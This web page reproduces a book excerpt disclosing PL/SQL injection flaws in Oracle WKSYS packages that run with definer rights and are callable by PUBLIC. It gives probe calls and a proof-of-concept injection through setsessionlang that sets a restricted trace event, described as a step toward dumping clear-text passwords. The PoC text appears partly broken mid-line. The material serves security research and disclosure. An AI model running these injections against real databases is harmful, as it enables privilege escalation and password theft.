Call now: 252-767-6166  
Oracle Training Oracle Support Development Oracle Apps

 E-mail Us
 Oracle Articles
New Oracle Articles

 Oracle Training
 Oracle Tips

 Oracle Forum
 Class Catalog

 Remote DBA
 Oracle Tuning
 Emergency 911
 RAC Support
 Apps Support
 Oracle Support

 SQL Tuning

 Oracle UNIX
 Oracle Linux
 Remote s
 Remote plans
 Application Server

 Oracle Forms
 Oracle Portal
 App Upgrades
 SQL Server
 Oracle Concepts
 Software Support

 Remote S


 Consulting Staff
 Consulting Prices
 Help Wanted!


 Oracle Posters
 Oracle Books

 Oracle Scripts

Don Burleson Blog 









Determining Vulnerable Procedures

Oracle Forensics tips by Paul Wright

I found PL/SQL injections in the Oracle RDBMS that were present with the October 2006 CPU on and other versions:

These two are DEFINER, "EXECUTE granted to PUBLIC" and owned by WKSYS which has the DBA ROLE by default. Below are examples of how to create the procedure call and the returned error message if the procedure is vulnerable.

SQL> exec wksys.wk_qry.setsessionlang('''');
BEGIN wksys.wk_qry.setsessionlang(''''); END;
ERROR at line 1:
ORA-01756: quoted string not properly terminated
ORA-06512: at "WKSYS.WK_QRY", line 1107
ORA-06512: at line 1

SQL> exec wksys.wk_queryapi.setsessionlang('''');
BEGIN wksys.wk_queryapi.setsessionlang(''''); END;
ERROR at line 1:
ORA-01756: quoted string not properly terminated
ORA-06512: at "WKSYS.WK_QUERYAPI", line 40
ORA-06512: at line 1

SQL> exec wksys.wk_launchq.add_launch_principal(1,'''');
BEGIN wksys.wk_launchq.add_launch_principal(1,''''); END;
ERROR at line 1:
ORA-01756: quoted string not properly terminated
ORA-06512: at "WKSYS.WK_LAUNCHQ", line 275
ORA-06512: at line 1

The vulnerability of the above packages is shown by the "ORA-01756: quoted string not properly terminated" error

Proving that the vulnerability can be exploited is more difficult as an attacker is not able to see the source code of the package by reading from DBA_SOURCE.

SQL> desc dba_source;

 Name                                      Null?       Type
 ----------------------------------------- -------- ---------------------------
 OWNER                                                 VARCHAR2(30)
 NAME                                                  VARCHAR2(30)
 TYPE                                                  VARCHAR2(12)
 LINE                                                  NUMBER
 TEXT                                                  VARCHAR2(4000)

SQL> select text from dba_source where owner='WKSYS' and name='WK_QUERYAPI';
PACKAGE BODY wk_queryapi wrapped
42f3 154a

The source code to the PLSQL Package has been wrapped to hide the internal workings. By quessing what the likely SQL is within the wrapped package it is possible to take educated guesses at potential exploitative code.

Given that the function of the query is to set the NLS_LANG variable for the session we can guess what the SQL will be in the wrapped package. Something like: "ALTER SESSION SET". So we now inject additional ALTER SESSION SET command into the end of the input to this procedure:

--To start the process of exploiting the first setsessionlang:

SQL> exec wksys.wk_qry.setsessionlang('english');
PL/SQL procedure successfully completed.
SQL>  exec wksys.wk_qry.setsessionlang('english''');
BEGIN wksys.wk_qry.setsessionlang('english'''); END;
ERROR at line 1:
ORA-01756: quoted string not properly terminated
ORA-06512: at "WKSYS.WK_QRY", line 1107
ORA-06512: at line 1

This can be extended to include the "EVENTS" commands which is withheld from normal users due to the security sensitivity of the command.

This is the PoC below.

SQL> show user
SQL> alter session set events 'immediate trace name library_cache level 10';
ORA-01031: insufficient privileges

SQL> exec wksys.wk_qry.setsessionlang('AMERICAN'' NLS_TERRITORY=


_SORT= ''BINARY'' current_schema=SYS sql_trace=false
TRACEFILE_IDENTIFIER =''traceid'' events ''immediate trace name
library_cache level 10''--');

PL/SQL procedure successfully completed.

The key line here is

events ''immediate trace name library_cache level 10''

This is a stage in the process of dumping clear text passwords.

So to summarize we are running an ALTER SESSION SET EVENT statement that should only be possible if the user has the ALTER SESSION  _SYSTEM_  privilege which SCOTT does not have. SCOTT can do this because we are injecting into a DBA owned procedure which is DEFINER rights and PUBLIC.

Being able to set this type of event is part of a number of exploits which result in the dumping of clear text passwords, which is why it is restricted. Therefore this vulnerability represents a security issue. Oracle have already been informed and it is due for CPU soon.;action=display;num


This is an excerpt from the book "Oracle Forensics: Oracle Security Best Practices", by Paul M. Wright, the father of Oracle Forensics.



Oracle Training at Sea
oracle dba poster

Follow us on Twitter 
Oracle performance tuning software 
Oracle Linux poster


Burleson is the American Team

Note: This Oracle documentation was created as a support and Oracle training reference for use by our DBA performance tuning consulting professionals.  Feel free to ask questions on our Oracle forum.

Verify experience! Anyone considering using the services of an Oracle support expert should independently investigate their credentials and experience, and not rely on advertisements and self-proclaimed expertise. All legitimate Oracle experts publish their Oracle qualifications.

Errata?  Oracle technology is changing and we strive to update our BC Oracle support information.  If you find an error or have a suggestion for improving our content, we would appreciate your feedback.  Just  e-mail:  and include the URL for the page.


Burleson Consulting

The Oracle of Database Support

Oracle Performance Tuning

Remote DBA Services


Copyright © 1996 -  2016

All rights reserved by Burleson

Oracle ® is the registered trademark of Oracle Corporation.